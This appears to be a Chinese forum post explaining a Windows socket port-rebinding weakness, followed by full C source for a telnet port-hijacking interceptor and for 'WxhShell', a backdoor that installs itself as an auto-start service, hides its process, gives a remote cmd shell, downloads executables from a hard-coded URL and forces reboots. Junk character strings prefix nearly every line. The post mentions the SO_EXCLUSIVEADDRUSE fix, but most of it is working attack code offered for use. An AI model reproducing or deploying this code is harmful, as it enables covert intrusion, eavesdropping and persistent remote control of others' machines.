在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
ql%]$`IV6 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
oHP>v_X K8 Kz saddr.sin_family = AF_INET;
2vk8+LA(6 xX/Qoq (}i saddr.sin_addr.s_addr = htonl(INADDR_ANY);
yK @X^jf Y(Z(dV!Po bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
"6[Ax{cM `9G$p|6 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
R'1vjDuv H|(*$!~e 这意味着什么?意味着可以进行如下的攻击:
X*p:&=o IdC k 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
#!<+:y'S? -Z\UYt 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
\fQgiX $fU/9jTa 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
9X^-)G> c,[qjr#\> 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
b`;b}ug -mWw.SfEZ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
BZ'y}Zu*
^/5E773 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
,XF6Xsg2 Z?G3d(YT 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
4*ty&s=5OJ wtgO;w #include
@Ig,_i\UY: #include
8xGkh?% #include
A.'`FtV #include
A`r$fCt1Vi DWORD WINAPI ClientThread(LPVOID lpParam);
@_tA"E int main()
A$Jn3Xd~! {
C*6bR? I9 WORD wVersionRequested;
0ju wDd DWORD ret;
qz_TcU' WSADATA wsaData;
#ui%=ja[:~ BOOL val;
",,qFM! SOCKADDR_IN saddr;
,~68~_) SOCKADDR_IN scaddr;
-QHzf&D? int err;
@+Anv~B. SOCKET s;
<pa];k(IQL SOCKET sc;
,r)d#8 int caddsize;
P$#}-15?|_ HANDLE mt;
_ER
cmP DWORD tid;
IEKX'+t' wVersionRequested = MAKEWORD( 2, 2 );
OG<]`!" err = WSAStartup( wVersionRequested, &wsaData );
6T'43h. : if ( err != 0 ) {
3kzG L printf("error!WSAStartup failed!\n");
@0x.n\M_ return -1;
I7-PF? }
Dqo:X`<bT saddr.sin_family = AF_INET;
98%a)s)(a ]8j5Ou6#y //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
f>JzG,- sC*E;7gT, saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
'1T v1 saddr.sin_port = htons(23);
xVmUmftD if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
kc/H {
FU3IK3} printf("error!socket failed!\n");
3 mMdq*X5 return -1;
WlJRKM2 }
0|3B8m val = TRUE;
Lm2cW$s //SO_REUSEADDR选项就是可以实现端口重绑定的
'{_tDboY if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
kJ:5msKwC {
5;%xqdD printf("error!setsockopt failed!\n");
R5YtCw]i= return -1;
`1}yB }
G`<1>%"F //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
o0v m?CL# //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
,PtR^" Mf4 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
J'oz P^N d=Ihl30m if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
3uiitjA] {
2/W0y!qh1 ret=GetLastError();
uqH! eN5 printf("error!bind failed!\n");
:=KGQ3V~eK return -1;
-cS4B//IK8 }
Ts *'f listen(s,2);
Y+PxV*"a while(1)
%JU23c* {
k$mX81 caddsize = sizeof(scaddr);
mTu9'/$( //接受连接请求
zL=I-f Vq sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
JC-yiORVr if(sc!=INVALID_SOCKET)
6#-; ,2i {
}C1}T}U mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
-x5bdC(d if(mt==NULL)
-&^( T {
B#lj8I^| printf("Thread Creat Failed!\n");
)%W2XvG break;
z~;qDf|I }
sm <kb@g }
8i~'~/x CloseHandle(mt);
Z%d4V<fn }
:Gk~FRA| closesocket(s);
;^SgV WSACleanup();
Xm+3`$< return 0;
Vc<n6 }
`t"Kq+ DWORD WINAPI ClientThread(LPVOID lpParam)
,l"2MXD {
T7X2$ ' SOCKET ss = (SOCKET)lpParam;
D-EM SOCKET sc;
7q=xW6 unsigned char buf[4096];
>}tG^ )os SOCKADDR_IN saddr;
PhdL@Mr long num;
UeTp, DWORD val;
^W*)3;5 DWORD ret;
k18V4ATE] //如果是隐藏端口应用的话,可以在此处加一些判断
p#NZ\qJ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
oMf h|B saddr.sin_family = AF_INET;
;\0RXirk saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ZPFTNwf saddr.sin_port = htons(23);
'KrkCA if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~UFsi VpL {
NV ~i4R*# printf("error!socket failed!\n");
B*Xh$R return -1;
7]53GGNO }
b8Sl3F?-~ val = 100;
g#NUo/ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<\NXCUqDpo {
|]^! 4[!U ret = GetLastError();
:RG6gvz return -1;
eu/Sp3@v }
$l0w {m!P if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
l^Z~^.{y {
J>|` ret = GetLastError();
fR{7780WZ return -1;
z81!F'x; }
h{9pr if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
U{m:{'np(H {
an@Ue7 printf("error!socket connect failed!\n");
'!GI:U+g closesocket(sc);
Ml
^Tb# closesocket(ss);
;B@l0)7(x return -1;
^4i3 #} }
m\Nc}P_"p while(1)
-JkO[IF {
->UrWW^ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
efm<bJB2 //如果是嗅探内容的话,可以再此处进行内容分析和记录
}2"k:-g //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
H|?`n
uiD num = recv(ss,buf,4096,0);
5}VP-04vh if(num>0)
oyY,uB.| send(sc,buf,num,0);
GW#Wy=(_ else if(num==0)
iddT. break;
-0Ek&"=Z^ num = recv(sc,buf,4096,0);
"a7d`l: if(num>0)
otx7J\4 send(ss,buf,num,0);
;2~Q97c0 else if(num==0)
FB`HwE< break;
Zl*!pQ }
J!>oC_0]8 closesocket(ss);
z~al
h?H closesocket(sc);
XhiC'.B_ return 0 ;
wH.'EC }
X"sN~Q.0 TgLlmU*qMU {cFei3'q ==========================================================
|iI`p-L9 W\ckt]' 下边附上一个代码,,WXhSHELL
Z:{Z&HQC *W
l{2& ==========================================================
K.SHY!U} $Z4p$o
dk #include "stdafx.h"
~czt= A
[JV*Dt #include <stdio.h>
jn'8F$GU #include <string.h>
YH9BJ #include <windows.h>
j(rFORT #include <winsock2.h>
-JK+{< #include <winsvc.h>
%WR #include <urlmon.h>
4{_5z7ody FpEdwzBb< #pragma comment (lib, "Ws2_32.lib")
N'StT$( #pragma comment (lib, "urlmon.lib")
r BL)ct )Z#7%,o #define MAX_USER 100 // 最大客户端连接数
?w+T_EH #define BUF_SOCK 200 // sock buffer
P-C_sj A7 #define KEY_BUFF 255 // 输入 buffer
sQkP@Y N78Ev7PN #define REBOOT 0 // 重启
/i<g>*82 #define SHUTDOWN 1 // 关机
bF.Aj8ZQ `'/8ifKz #define DEF_PORT 5000 // 监听端口
:MpCj<<[ n~h%K7
c #define REG_LEN 16 // 注册表键长度
7Vi[I< * #define SVC_LEN 80 // NT服务名长度
j'W)Nyw$[ 9}=Fdt // 从dll定义API
JGtdbD?Fw typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
p=zjJ~DVd typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
O;w';}At typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
IpWl;i`__ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
q&vr;fB2 jH8F^KJM[ // wxhshell配置信息
8L#sg^1V struct WSCFG {
#pZ3xa3R int ws_port; // 监听端口
mVxS[Gq char ws_passstr[REG_LEN]; // 口令
p(v.sP4w int ws_autoins; // 安装标记, 1=yes 0=no
5b&'gd^d char ws_regname[REG_LEN]; // 注册表键名
MKbW^: char ws_svcname[REG_LEN]; // 服务名
?h{ & char ws_svcdisp[SVC_LEN]; // 服务显示名
@c/~qP4 char ws_svcdesc[SVC_LEN]; // 服务描述信息
@'S-nn,sO char ws_passmsg[SVC_LEN]; // 密码输入提示信息
[mm5?23g int ws_downexe; // 下载执行标记, 1=yes 0=no
gw H6r3=y( char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
51~:t[N| char ws_filenam[SVC_LEN]; // 下载后保存的文件名
N-^\e)ln _^KD&t%!+y };
@=$;^}JS| 5n_<)Ycj // default Wxhshell configuration
BM3nZ<%3 struct WSCFG wscfg={DEF_PORT,
4u<oe_n "xuhuanlingzhe",
NK#f Gz*,( 1,
Q@2Smtu~c "Wxhshell",
|[*b[O
1W "Wxhshell",
B"G;"X "WxhShell Service",
V< J~:b1V "Wrsky Windows CmdShell Service",
spJB6n( "Please Input Your Password: ",
lOVsp# 1,
"]sr4Jg= "
http://www.wrsky.com/wxhshell.exe",
lO:[^l?F "Wxhshell.exe"
:Bl $c,J };
_KKG^
u< |W?x6]~.R // 消息定义模块
-\>Xtix^-c char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
"BK&C6] char *msg_ws_prompt="\n\r? for help\n\r#>";
4re^j4L~o char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Oq[tgmf char *msg_ws_ext="\n\rExit.";
9] l7j\L char *msg_ws_end="\n\rQuit.";
q$K^E char *msg_ws_boot="\n\rReboot...";
9Czc$fSSt char *msg_ws_poff="\n\rShutdown...";
`/"TYR% char *msg_ws_down="\n\rSave to ";
F$d`Umqs;P gg933TLu(Q char *msg_ws_err="\n\rErr!";
2nk}'HBe char *msg_ws_ok="\n\rOK!";
R`Q9|yF\ d]CRvzW char ExeFile[MAX_PATH];
u" nyx0< int nUser = 0;
XmLHZ,/ HANDLE handles[MAX_USER];
zDC-PHFHQ int OsIsNt;
y;uk|#qnPS \!`*F:7]- SERVICE_STATUS serviceStatus;
?k#-)inf) SERVICE_STATUS_HANDLE hServiceStatusHandle;
ZfS-W&6Z CJ?Lv2Td // 函数声明
uYF_sf int Install(void);
H~fZA)W 4Y int Uninstall(void);
+tl&Jjdm int DownloadFile(char *sURL, SOCKET wsh);
5ZUqCl(PX) int Boot(int flag);
^,@Rd\q void HideProc(void);
.Q4EmpByCg int GetOsVer(void);
"|(+~8[ int Wxhshell(SOCKET wsl);
FSC74N/ void TalkWithClient(void *cs);
<Xv]Ih?@f` int CmdShell(SOCKET sock);
qpFFvZ
W int StartFromService(void);
y~jTI[kS int StartWxhshell(LPSTR lpCmdLine);
q8`JRmt)H 1:XT r VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
*o`bBdZ VOID WINAPI NTServiceHandler( DWORD fdwControl );
uee2WGD )FYz*:f>& // 数据结构和表定义
Od)]FvO SERVICE_TABLE_ENTRY DispatchTable[] =
!'[f!vsyM{ {
O$<kWSC {wscfg.ws_svcname, NTServiceMain},
["kk.*& {NULL, NULL}
6l<q };
?=$a6o Yc&yv // 自我安装
]W]o6uo7 int Install(void)
\GEFhM4) {
glm29hF char svExeFile[MAX_PATH];
?l
&S:`
L HKEY key;
k7'_ strcpy(svExeFile,ExeFile);
=bi:<%" D<$,v(- // 如果是win9x系统,修改注册表设为自启动
ia?{]!7$ if(!OsIsNt) {
IXDj;~GF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
%A|9=x* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
kFg@|#0v9 RegCloseKey(key);
]6bh #N;. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
|Ah'KpL8W RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Gb4k5jl RegCloseKey(key);
^~'tQ}]!" return 0;
omevF>b; }
0z1m!tr }
0JN>w^ }
>4b:`L else {
hd^?mZ ?Z9C}t] // 如果是NT以上系统,安装为系统服务
!<BJg3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
^cs:S-s if (schSCManager!=0)
M=:!d$c
{
@-qS[bV SC_HANDLE schService = CreateService
E!nEB(FD (
@TBcVHy schSCManager,
33IJbg wscfg.ws_svcname,
/
VypN, wscfg.ws_svcdisp,
dCc"Qr[k SERVICE_ALL_ACCESS,
o
b;] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
}-4@EC> SERVICE_AUTO_START,
tUU`R{=( SERVICE_ERROR_NORMAL,
#[ZToE4 svExeFile,
6Y9F U NULL,
{| ~ NULL,
Se~<Vpo NULL,
goBl~fqy0 NULL,
qw?#~"Ca. NULL
Ya~*e;CW2 );
R<(kiD\?] if (schService!=0)
J,q6 {
@N+ }cej CloseServiceHandle(schService);
<5@VFRjc CloseServiceHandle(schSCManager);
VS`
tj strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
st4z+$L strcat(svExeFile,wscfg.ws_svcname);
^V6cx2M if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
|y%pJdPk= RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
[u*-~( RegCloseKey(key);
|z.x M> return 0;
Yx#?lA2gx }
c+S<U* }
9d kuvk}: CloseServiceHandle(schSCManager);
#dO8) t }
yBKEw(1 }
mv1g2f+ +9 gI^Gt return 1;
+|0f7RB+R }
&BOq%*+ a%nksuP3 // 自我卸载
]F'o int Uninstall(void)
LK>AC9ak< {
lK VV*RR} HKEY key;
Y9<N#h# LOO<)XFJ if(!OsIsNt) {
v[l={am{/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
IN^dJ^1+ RegDeleteValue(key,wscfg.ws_regname);
b?^CnMO RegCloseKey(key);
J^w!?nk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
b;;mhu[D RegDeleteValue(key,wscfg.ws_regname);
Z-U-n/6I RegCloseKey(key);
pZxuV(QP` return 0;
VZz>)Kz: }
&0`[R*S }
]&b>P ;j: }
;6)Onwx else {
/`kM0=MMa ~7 w"$H8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
?zpN09e if (schSCManager!=0)
M7`iAa.} {
QJ4=*tX) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
pLiGky if (schService!=0)
N+N98~Y`P {
-prc+G,qyp if(DeleteService(schService)!=0) {
0FAe5
BE7
CloseServiceHandle(schService);
vk><S|[n CloseServiceHandle(schSCManager);
O3JBS^;V2 return 0;
?mi1PNps# }
OF1fS\P<> CloseServiceHandle(schService);
Pd8zdzf{ }
fbrCl!%P CloseServiceHandle(schSCManager);
q)f-z\ }
%G`GdG}T }
aj`_*T"A $S'~UbmYU return 1;
X,mqQ7+ }
<=Z`]8 dX;Q\
]" // 从指定url下载文件
rtn.^HF int DownloadFile(char *sURL, SOCKET wsh)
~Gj%z+< {
`#3FvP@& HRESULT hr;
Q!ReA{ char seps[]= "/";
;oM7H*WC char *token;
"8l&m6`U- char *file;
"CTK%be{q/ char myURL[MAX_PATH];
Sg+0w7:2 char myFILE[MAX_PATH];
efrVF5,y? [XbNZ6 strcpy(myURL,sURL);
H"vkp~u]I token=strtok(myURL,seps);
9#MY(Hr while(token!=NULL)
Hs`j6yuc9 {
),rd7GB> file=token;
\r`><d token=strtok(NULL,seps);
&cf(} }
> }fw7 X = P@j*ix GetCurrentDirectory(MAX_PATH,myFILE);
x_oiPu.V strcat(myFILE, "\\");
^W%#Elf) strcat(myFILE, file);
Q:^.Qs"IK send(wsh,myFILE,strlen(myFILE),0);
zI{~;`tzN send(wsh,"...",3,0);
L/KiE+Y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
i(mQbWpN if(hr==S_OK)
Hw1:zro return 0;
]9PQKC2& else
)cV*cDL1j return 1;
TjY-C m 13aj fH }
P}~nL
{?RVw`g&f // 系统电源模块
%U?1Gf e int Boot(int flag)
<5E: ,< {
JU3to_Io HANDLE hToken;
=;(y5c TOKEN_PRIVILEGES tkp;
%CIRN} 3L^]J}| if(OsIsNt) {
W,fXHYst OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
I%M"I0FV LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
gZ@z}CIw' tkp.PrivilegeCount = 1;
T)o>U&KNP tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
W)jtTC7 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
wfQ^3HL if(flag==REBOOT) {
*O'`&J if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
H&SoVi_V return 0;
\e9rXh% }
A-f,&TO else {
oM(8'{S= if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
ac!!1lwA return 0;
2bu > j1h }
de_%#k1:L }
2(AuhZ> else {
Xe2Zf if(flag==REBOOT) {
gP.PyYUV if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
|*(R$t X return 0;
/Ref54 }
%%sJ+) else {
\:4SN&I~ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
1) Nj.#) return 0;
k}0b7er=R }
tID=I0D }
G^Va$ike $.x,[R
aN return 1;
+_1sFH` }
g.pR4Mf=Z 2b
K1.BD // win9x进程隐藏模块
L+8{%\UPd void HideProc(void)
m "96%sB {
y96HTQ32 G|YNShK4=9 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
ly#jl5wmT if ( hKernel != NULL )
8n35lI(
[ {
K\FLA_J pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Wv||9[Rd ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
:gn&wi FreeLibrary(hKernel);
xqb*;TBh* }
14DhJUV"b x~Dj2F ] return;
G#fF("Ndu` }
!/e*v>3u& d ehK#8 // 获取操作系统版本
E=Vp%08( int GetOsVer(void)
G@txX
' {
Y/sZPG}4 OSVERSIONINFO winfo;
}T-'""* winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
1obajN GetVersionEx(&winfo);
'<s54 Cb if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
e%EO/ 2" return 1;
YmCu\+u else
&->ngzg return 0;
Y]tbwOle }
KP&xk13) >}: // 客户端句柄模块
FGzKx9I9 int Wxhshell(SOCKET wsl)
\ef:H&r {
g^^pPVK_ SOCKET wsh;
A"z9t#dv@ struct sockaddr_in client;
4xH/a1&p= DWORD myID;
*%Fu/ wh)F&@6 R! while(nUser<MAX_USER)
hI9q);g {
:a^/&LbLm int nSize=sizeof(client);
PW82
Vp. wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
OJd/#KFm if(wsh==INVALID_SOCKET) return 1;
'/)qI. :yRv:`r3Lt handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
D*j^f7ab if(handles[nUser]==0)
skBD2V4 closesocket(wsh);
lF_"{dS_6( else
I _gE`N nUser++;
}=}wLm#&1 }
p!5'#\^f WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
s_a jA ~>HzAo9e return 0;
XT4Gz|k }
'y=N_/+s #f<v% // 关闭 socket
xH&hs$= void CloseIt(SOCKET wsh)
""Da2Md {
2:_6nWl closesocket(wsh);
WN<g _8QR nUser--;
^5.XQ0n ExitThread(0);
Bp3E)l }
Z %Ozzp/ ,2^4"gIl // 客户端请求句柄
OZ+v ~'oD void TalkWithClient(void *cs)
iaCV8`&q% {
o8Gygi5 ?3p7MjvZ SOCKET wsh=(SOCKET)cs;
jj1\oyQ8 char pwd[SVC_LEN];
tq}45{FH3 char cmd[KEY_BUFF];
m3TR}=n char chr[1];
;8eKAh int i,j;
*8WB($T} 2ozh!8aL while (nUser < MAX_USER) {
Ps74SoD- W*t]
d if(wscfg.ws_passstr) {
bh<;px- if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'gvR?[!t //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Zym6btc //ZeroMemory(pwd,KEY_BUFF);
nuXL{tg6 i=0;
1[^YK6a/ while(i<SVC_LEN) {
p,goYF?? Fq@o_bI // 设置超时
ca{MJz' fd_set FdRead;
d<6F'F^w.7 struct timeval TimeOut;
D]]wJQU2 FD_ZERO(&FdRead);
})H d]a FD_SET(wsh,&FdRead);
,-4NSli TimeOut.tv_sec=8;
?B1Zfu0 TimeOut.tv_usec=0;
"FWx;65CR int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
k~^4 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
I I+y D &"D[|@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
du66a+@t pwd
=chr[0]; h6Z:+
if(chr[0]==0xd || chr[0]==0xa) { G{3|d/;Bt
pwd=0; #GE]]7:Na
break; gvA}s/
} 7C|!Wno[;
i++; c]PTU2BB8
} C/!.VMl^
Y%.o
TB&
// 如果是非法用户,关闭 socket Lwr's'ao.
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d+
jX49Vt
} Uj):}xgi'
wlT8|
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %.Ma_4o
Z
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GtVT^u_
K*SgEkb'l
while(1) { *M1GVhW(+
m2c'r3 UEu
ZeroMemory(cmd,KEY_BUFF); C#kE{Qw10r
d:@+dS
// 自动支持客户端 telnet标准 !6KX^j-
j=0; cb|+6m~
while(j<KEY_BUFF) { ~U0%}Bbh
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \Ii{sn9
cmd[j]=chr[0]; 2R[v*i^S
if(chr[0]==0xa || chr[0]==0xd) { %MeAa?G-#
cmd[j]=0; mn7I# ~
break; BNfj0e 5b
} 2n:<F9^"
j++; ipu!{kJ
} ~_\Ra%
}QFL
// 下载文件 CO
wcus
if(strstr(cmd,"http://")) { sbW+vc
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9>)b6)J D
if(DownloadFile(cmd,wsh)) r&{8/ 5"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); KD kGQh#9
else Uwc%'=@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rNP;53FtZl
} AY AU
else { Kh]es,$D
y2A\7&7
switch(cmd[0]) { hX.cdt_?
\ND]x]5d
// 帮助 4uXGpsL
case '?': { y%TqH\RKv
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &FXf]9
_X
break; aTvyzr1
} s41%A2Enh
// 安装 Y&6jFT_
case 'i': { [vi
=^
if(Install()) b~gq8,Fatb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y\FQt];z)
else Wg|6{'a
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J67
thTGFq
break; K*@?BE
} F5*-HR
// 卸载 56pj(}eq
case 'r': {
b] 5dBZ(
if(Uninstall()) S Qmn*CW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mB`HPT
else 7ys' [G|}r
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &lzY"Y*hA0
break; 4@{;z4*`
} < se ~wR
// 显示 wxhshell 所在路径 =oSD)z1c?x
case 'p': { C. .| O
char svExeFile[MAX_PATH]; B&MDn']fV/
strcpy(svExeFile,"\n\r"); {QEvc
strcat(svExeFile,ExeFile); ;6V~yB
send(wsh,svExeFile,strlen(svExeFile),0); gW~YB2 $
break; )
gl{ x
} t]B`>SL3W
// 重启 8$uq60JK
case 'b': { ! Vl)aL
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #?Ix6 {R
if(Boot(REBOOT)) )a^&7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |E6Thvl$
else { u&*[
closesocket(wsh); DcxT6[
ExitThread(0); E?]$Y[KJKs
} T$kuv`?
break; H ezbCwsx&
} $}4ao2
// 关机 remc_}`w
case 'd': { >FeCa
hFn
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @Mya|zb
if(Boot(SHUTDOWN)) ` 0@m,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z^wod
else { D{t_65c-
closesocket(wsh); tO&n$$
ExitThread(0); X[/7vSqZ@w
} -medD G
break; 0s8fF"$
} ]HWeVhG
// 获取shell jct=Nee|
case 's': { eJf]"-
CmdShell(wsh); fx>QP?Z
closesocket(wsh); yFm88
ExitThread(0); |zRrGQYm
break; sC"w{_D@*4
} -I4@6vE,
// 退出 _gH$
,.j/
case 'x': { "Pc}-&
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WXo bh
CloseIt(wsh); r7R39#
break; n"?*"Ya
} H{*rV>%
// 离开 ;pL!cG@
case 'q': { %4R1rUrgt|
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ca5LLG
closesocket(wsh); mCn:{G8+
WSACleanup(); jc3Q3Th/zn
exit(1); jp"Q[gR##
break; JS03BItt
} O,7S1
} <^$ppwk$
} ~[F7M{LS
s3sD7 @
// 提示信息 W2%@}IDm
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X!{K`~DRX
} d %FLk=]
} Q e/XEW
u)zv`m
return; #Mk3cp^Yl
} eU)QoVt
P
B-x_D
// shell模块句柄 #I MaN%
int CmdShell(SOCKET sock) -cJ,rrN_9
{ VcsMDa
STARTUPINFO si; 3_9CREZCl
ZeroMemory(&si,sizeof(si)); cDYOJu.
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;,uATd|
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E 6MeM'sx
PROCESS_INFORMATION ProcessInfo; |Y6;8e`H
char cmdline[]="cmd"; sZ7,7E|_
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '
-9=>
return 0; }(DH_0
} -ON-0L
o\><e1P
// 自身启动模式 _u;pD-
int StartFromService(void) db_}][;.c
{ cL%"AVsj
>
typedef struct $!$If(
7
{ 0 ;)Q
DWORD ExitStatus; \1#]qs -
DWORD PebBaseAddress; m6^#pqSL
DWORD AffinityMask; f.%3G+
DWORD BasePriority; X!ldL|Ua%
